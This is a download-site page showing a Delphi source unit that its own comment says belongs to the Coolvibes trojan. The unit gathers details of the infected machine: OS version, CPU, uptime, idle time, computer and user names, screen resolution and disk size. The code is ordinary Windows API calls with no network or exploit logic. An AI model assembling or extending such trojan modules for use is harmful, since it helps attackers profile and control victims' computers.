⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unitsysteminfo.pas

📁 参照上兴、鸽子等源码编写编写出来的。 编译环境:Delphi7+SP+DP+indy9等控件
💻 PAS
字号:
{Unit perteneciente al troyano Coolvibes que contiene todas las funciones
relaccionadas con la obtenci髇 de informaci髇 del sistema remoto}
unit UnitSystemInfo;

interface

uses
  Windows,
  SysUtils,
  UnitFunciones,
  UnitFileManager;

  function GetOS(): String;
  function GetCPU(): String;
  function GetUptime(): String;
  function GetIdleTime(): String;
  function GetPCName(): String;
  function GetPCUser(): String;
  function GetResolucion(): String;
  function GetTamanioDiscos(): String;

implementation

function GetOS(): String;
var
  osVerInfo: TOSVersionInfo;
begin
  Result:='未知';
  osVerInfo.dwOSVersionInfoSize:=SizeOf(TOSVersionInfo);
  GetVersionEx(osVerInfo);
  case osVerInfo.dwPlatformId of
    VER_PLATFORM_WIN32_NT: begin
      case osVerInfo.dwMajorVersion of
        4: Result:='Windows NT 4.0';
        5: case osVerInfo.dwMinorVersion of
             0: Result:='Windows 2000';
             1: Result:='Windows XP';
             2: Result:='Windows Server 2003';
           end;
        6: Result:='Windows Vista';
      end;
    end;
    VER_PLATFORM_WIN32_WINDOWS: begin
      case osVerInfo.dwMinorVersion of
        0: Result:='Windows 95';
       10: Result:='Windows 98';
       90: Result:='Windows Me';
      end;
    end;
  end;
  if osVerInfo.szCSDVersion <> '' then
    Result := Result + ' ' + osVerInfo.szCSDVersion;
end;

function GetCPU(): String;
begin
  //Trim quita los espacios antes y despues de la cadena, ejem "    CPU p6 2000  " , con trim "CPU p6 2000"
  Result := Trim(GetClave(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System\CentralProcessor\0', 'ProcessorNameString'));
end;

function GetUptime(): String;
var
  Tiempo, Dias, Horas, Minutos: Cardinal;
begin
 	Tiempo := GetTickCount();
  Dias   := Tiempo div (1000 * 60 * 60 * 24);
  Tiempo := Tiempo - Dias * (1000 * 60 * 60 * 24);
  Horas  := Tiempo div (1000 * 60 * 60);
  Tiempo := Tiempo - Horas * (1000 * 60 * 60);
  Minutos:= Tiempo div (1000 *60);
  Result := IntToStr(Dias) + 'd ' + IntToStr(Horas) + 'h ' + IntToStr(Minutos) + 'm';
end;

function getIdleTime(): String;
var
  liInfo: TLastInputInfo;
  Hour, Min, Sec : integer;
begin
  Result := '';
  liInfo.cbSize := SizeOf(TLastInputInfo);
  if GetLastInputInfo(liInfo) <> False then
  begin
    Sec := (GetTickCount - liInfo.dwTime) div 1000;
    Min := Sec div 60 ;
    Sec := Sec mod 60 ;
    Hour := Min div 60;
    Min := Min mod 60 ;

    if Hour < 10 then Result := Result + '0' + IntToStr(Hour)
    else Result := Result + IntToStr(Hour);

    if Min < 10 then Result := Result + ':0' + IntToStr(Min)
    else Result := Result + ':' + IntToStr(Min);

    if Sec < 10 then Result := Result + ':0' + IntToStr(Sec)
    else Result := Result + ':' + IntToStr(Sec);

    Result := Result + ' (hh:mm:ss)';
  end;
end;

function GetPCName(): String;
var
  PC: Pchar;
  Tam: Cardinal;
begin
  Tam := 100;
  Getmem(PC, Tam);
	GetComputerName(PC, Tam);
  Result := PC;
  FreeMem(PC);
end;

function GetPCUser(): String;
var
  User: Pchar;
  Tam: Cardinal;
begin
  Tam := 100;
  Getmem(User, Tam);
	GetUserName(User, Tam);
  Result := User;
  FreeMem(User);
end;

function GetResolucion(): String;
begin
  Result := IntToStr(AnchuraPantalla()) + 'x' + IntToStr(AlturaPantalla());
end;

function GetTamanioDiscos(): String;
var
  Tam: Int64;
begin
  GetDrives(Tam);
  Result := IntToStr(Tam);
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -